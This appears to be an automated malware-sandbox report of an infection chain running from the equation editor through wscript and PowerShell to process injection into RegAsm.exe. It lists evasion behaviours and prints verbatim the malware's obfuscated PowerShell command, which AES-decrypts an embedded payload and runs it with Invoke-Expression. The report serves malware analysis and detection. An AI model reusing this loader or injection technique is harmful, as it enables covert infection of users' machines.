              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Delayed program exit found
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040F7A7 Sleep,ExitProcess,8_2_0040F7A7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,8_2_0041A748
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 599954Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 559Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5498Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 9875Jump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1812Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3268Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -599954s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -600000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -600000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3320Thread sleep count: 114 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3320Thread sleep time: -342000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3388Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3320Thread sleep count: 9875 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3320Thread sleep time: -29625000s >= -30000sJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3504Thread sleep time: -120000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,8_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,8_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044E879 FindFirstFileExA,8_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,8_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040783C FindFirstFileW,FindNextFileW,8_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00407C97
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 599954Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI call chain: ExitProcess graph end nodegraph_8-49036
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004432B5 mov eax, dword ptr fs:[00000030h]8_2_004432B5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00412077 GetProcessHeap,HeapFree,8_2_00412077
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434B47 SetUnhandledExceptionFilter,8_2_00434B47
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_0043BB22
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_00434FDC

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Yara detected Powershell download and execute
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Injects a PE file into a foreign processes
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
              Writes to foreign memory regions
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe8_2_004120F7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419627 mouse_event,8_2_00419627
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni31045819173442745210226027008389cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnigrotij99moqal/1g6m0vqbtznqapocvjw7wdfeq2dm55mrrbsdl2dtjprdivh4qro9tuowqh9vuvcwhvl7wdpldrvycvslbshkyytx3y3ec19qglil2fuyxvsxhxzrcpixvhsexgj/yljqnpmqcrbgfmq7b0x+qtytuccqp+5yobn4o6atlpw9w8pphk9ote6qu1yd4u4i80cm5mu98/pr4+8ywarzuake5pec8m1o4ku1/sjpgmlsinidtnfgago2s309dviv/fktnnaxjjczmr5wdbqltftgucrdeglc3qbcwcpmgt1xj0gl7ve4guk6hudnkbarvx6ie3asacjsl8un9o0ykkxzeyqfjy1x6z5q3ahy4xxler3uligmmxvv2bdi4uge5zccvgmzwalk6a/59+vdpw/eapul514/a+us8pix4u0jpotd/fdvcmst/nbk2n2paq0ehkxxmwpkzka1e+bupnxwxjrfwegtderivzkg4xcqmje/dz1h6bw6vof7gbpcwnfhiokyilaudebwjqtctwrqxdrxo3beibt1ie51b3ojwza1v/g2n2t89fwu55ux7+dxeif/o2omp2w4bjqawne2xjfpmi8ocuacfhimyruwu1jgqqlc20g1wdpryvchmu/6wcfwkazbxu2z+dc8hojblkiz6g02yryv03hspeacrw1wogownnx9nylir6qgyzdyysjqrzgvzx2ed0jey/v4hsh4zkwvsy3946yvczswufkgbbcphd+j/kkl82m6zpli5i+j/so2di9yy5g1lqwpa/f21tffwnalsnppwzdiwdaugc2jlgps7d7owmpgn6mz5cocsw9nz1uoebwavfax+orkq5t4pfhdwuspge1kn0mwhl53hcv2snx7vyyfspzt6nky++2xtpexo+wxcnj2u+k0vmb0gqkc/f4jauzcgmbcbllrbx1lnogrnjowqzo7twoygr6yzl5mr1kk76wixljptroolwxocba09by8f2v9p+azjutmbcghanfiiqjywdooeg0zffos+sgi2tr+sgif31xzrdk5tgul9q7whomauh7x8xesjy8ba38e/dcsfumybe7hv40jaxlgvj3rxji2pnkh2p8jplmkdconw2rmaifaywegmrghtt4k1orkvfzi3ejd4zgs2+rdvimcp4nnw8svqhy+eqiqx/8s1jdct0kgyff8i88r+i3xtrgou+2myson8qoxrya6lglkmbykehjvocpgxrcea62jbr2pobuyxqet4x+bgr9daceefuc/8bcku+6sz5tmxp6ohd/vz3jrhmzp4kn+c5qykbc0qhxnluox3at07cgywnetpccgfxkeyp13rjbbznm31t6eljuhqkbjgimzumgkiixsu8zm9izo0koxrbn8gap3xwegprlq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crepJump to behavior
